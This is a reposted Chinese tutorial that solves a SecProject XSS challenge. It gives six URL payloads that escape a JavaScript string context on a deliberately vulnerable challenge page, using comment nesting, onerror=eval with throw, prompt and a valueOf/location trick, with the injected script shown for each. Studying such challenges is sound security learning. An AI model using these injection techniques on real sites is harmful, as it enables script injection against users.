网站地图    收藏   

主页 > 后端 > 网站安全 >

SecProject Web AppSec 之XSS解析 第二篇 - 网站安全 -

来源:自学PHP网    时间:2015-04-17 10:15 作者: 阅读:

[导读] 还是先说明范例正常页面:地址:http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=111input2=222input3=333源码:htmlheadSCRIPT language=Javascriptfunction setid(id, name){ if (......

还是先说明范例正常页面:
 
地址:http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=111&input2=222&input3=333
 
 

<html>
<head>

<SCRIPT language="Javascript">
function setid(id, name)
{
   if (document.getElementById('222').value != '111') {
      document.getElementById('222').value= '111';
   }
   if (document.getElementById('333').value != '111') {
      document.getElementById('333').value = '111';
   }
   self.close();
}
//-->
</script> 
</head>
<body>
 
 利用一:
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=111&input2=222%27%29!=2%29{}}/*&input3=333%27%29;if%281%29{if%281%29{alert%2811%29;/**///
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=111&input2=222′)!=2){}}/*&input3=333′);if(1){if(1){alert(11);/**///
 
 

<SCRIPT language="Javascript">
function setid(id, name)
{
if (document.getElementById('222')!=2){}}/*').value != '111') {
document.getElementById('222')!=2){}}/*').value= '111';
}
if (document.getElementById('333');if(1){if(1){alert(11);/**///').value != '111') {
document.getElementById('333');if(1){if(1){alert(11);/**///').value = '111';
}
self.close();
}
//-->
</script>
 
 
总结:先将整个块都注释起来,因为222和333在中间的每一个会被注释掉,故修改位于两旁的222和333就相对容易许多。
 
利用二:
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b’//&input2=’%2F*&input3=*%2F)){a}}%3Bonerror%3deval%3B;throw%22=alert\x28\%22kkotowicz\%22\x29%22;{if(%22
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one”+’//&input2=’/*&input3=*/)){a}};onerror=eval;;throw”=alert\x28\”kkotowicz\”\x29″;{if(”
 
 

<SCRIPT language="Javascript">
function setid(id, name)
{
if (document.getElementById(''/*').value != 'one"+'//') {
document.getElementById(''/*').value= 'one"+'//';
}
if (document.getElementById('*/)){a}};onerror=eval;;throw"=alert\x28\"kkotowicz\"\x29";{if("').value != 'one"+'//') {
document.getElementById('*/)){a}};onerror=eval;;throw"=alert\x28\"kkotowicz\"\x29";{if("').value = 'one"+'//';
}
self.close();
}
//-->
</script> 
</head>
<body>
 
 
精简:
 
 
<SCRIPT language="Javascript">
function setid(id, name)
{
if (document.getElementById(''/*').value != 'one"+'//') {
document.getElementById(''/*').value= 'one"+'//';
}
if (document.getElementById('*/)){a}};onerror=eval;throw"alert\x28\"kkotowicz\"\x29";{if("').value != 'one"+'//') {
document.getElementById('abc').value = 'one"+'//';
}
}
//-->
</script>

 

 
 
关键处:
 
;onerror=eval;throw”=alert\x28\”kkotowicz\”\x29″;
 
指定错误发生时调用的函数eval,然后通过throw给其赋参数。
最后相当于eval(‘Uncaught=alert\x28″kkotowicz”\x29′);
 
而在FireFox上不成功是因为
<script>eval(‘uncaught exception:; =alert(“kkotowicz”);’);</script> 是执行不了的……
即eval(‘uncaught exception:; =alert(“kkotowicz”);’);
 
在IE下不成功因为
<script>eval(‘=alert(“kkotowicz”);’);</script> 也是执行不了的……
即eval(‘=alert(“kkotowicz”);
不过,即使改成<script>eval(‘alert(“kkotowicz”);’);</script> 也会被浏览器检测
 
 
 
 
 
利用三:利用二的升级版
 
升级版:
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b’//&input2=’%2F*&input3=*%2F)){a}}%3Bonerror%3dprompt%3B;throw%22\%22kkotowicz\%22%22;{if(%22
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one”+’//&input2=’/*&input3=*/)){a}};onerror=prompt;;throw”\”kkotowicz\”";{if(”
 
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one”%2b’//&input2=’%2F*&input3=*%2F)){a}}%3Bonerror%3dprompt%3B;throw”\”kkotowicz\”";{if(”
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one”+’//&input2=’/*&input3=*/)){a}};onerror=prompt;;throw”\”kkotowicz\”";{if(”
 
 

<html>
<head>

<SCRIPT language="Javascript">
function setid(id, name)
{
if (document.getElementById(''/*').value != 'one"+'//') {
document.getElementById(''/*').value= 'one"+'//';
}
if (document.getElementById('*/)){a}};onerror=prompt;;throw"\"kkotowicz\"";{if("').value != 'one"+'//') {
document.getElementById('*/)){a}};onerror=prompt;;throw"\"kkotowicz\"";{if("').value = 'one"+'//';
}
self.close();
}
//-->
</script> 
</head>
<body>
 
 利用prompt函数,弥补了这些个不足,但只是弹出了内容,却不是执行了其js.
 
利用四:
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=a%27%29%29;}alert%28%%27Peter%20JariJ%27%29;{{/*&input3=b%27%29;//*///%28%27&input1=/*%27//
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input2=a’));}alert(%’Peter JariJ’);{{/*&input3=b’);//*///(‘&input1=/*’//
 
 
<SCRIPT language="Javascript">
function setid(id, name)
{
if (document.getElementById('a'));}alert('Peter JariJ');{{/*').value != '/*'//') {
document.getElementById('a'));}alert('Peter JariJ');{{/*').value= '/*'//';
}
if (document.getElementById('b');//*///('').value != '/*'//') {
document.getElementById('b');//*///('').value = '/*'//';
}
self.close();
}
//-->
</script>

 

重点语句:
 
if (document.getElementById(‘b’);//*///(”).value != ”//’) { document.getElementById(‘b’);//*///(”).value = ”//’;
 
在这句中,第一个 */闭合了之前的/*注释……但下面的一个同样的*/没有将要闭合的前/*,就会出错……此时,可以用//将其注释掉,而不会影响到第一个*/的闭合。NICE IDEA.
 
 
 
利用五:
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=something//&input2=test1&input3=*///’));}alert(‘yousukezan’);function%20f(){{/*
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=something//&input2=test1&input3=*///’));}alert(‘yousukezan’);function f(){{/*
 
<SCRIPT language="Javascript">
function setid(id, name)
{
if (document.getElementById('test1').value != 'something//') {
document.getElementById('test1').value= 'something//';
}
if (document.getElementById('*///'));}alert('yousukezan');function f(){{/*').value != 'something//') {
document.getElementById('*///'));}alert('yousukezan');function f(){{/*').value = 'something//';
}
self.close();
}
//-->
</script>

 

 
 
这个利用的特点之一是只用了一个input3,其实input1的//可以省略,因为在字符和注释中。而在input3中,很有趣的就是利用自身来闭合注释,再结合//而将多的部分注释。
这里就用到了一个特点是单引号括起来的*/也是有效的,只要前面是有配对的/*.再结合//单行注释,可以实现很多意想不到的技巧。
 
利用六:
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one%22%2b%27//&input2=%27%2F*&input3=*/)){}};%2b{valueOf:location,toString:[].join,0:”jav\x61script:alert\x28\”kkotowicz\”)”,length:1};;;//’);{{1//
 
http://sdl.me/challenge1/xss2/JsChallenge2.asp?input1=one”+’//&input2=’/*&input3=*/)){}};+{valueOf:location,toString:[].join,0:”jav\x61script:alert\x28\”kkotowicz\”)”,length:1};;;//’);{{1//
这利用中最大亮点在于以下语句的利用,已测试在IE9,10中是可以执行的。Chrome和Firefox不可以执行。原理未知。
<script>+{valueOf:location,toString:[].join,0:”jav\x61script:alert\x28\”kkotowicz\”)”,length:1};</script>
 
 
 
源自&参考:
 
http://soroush.secproject.com/blog/2012/04/secproject-web-appsec-challenge-series-1/
 
http://soroush.secproject.com/blog/2012/06/challenge-series-1-result-and-conclusion/
 
http://soroush.secproject.com/blog/projects/hall-of-fame-challenge-series-1/

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论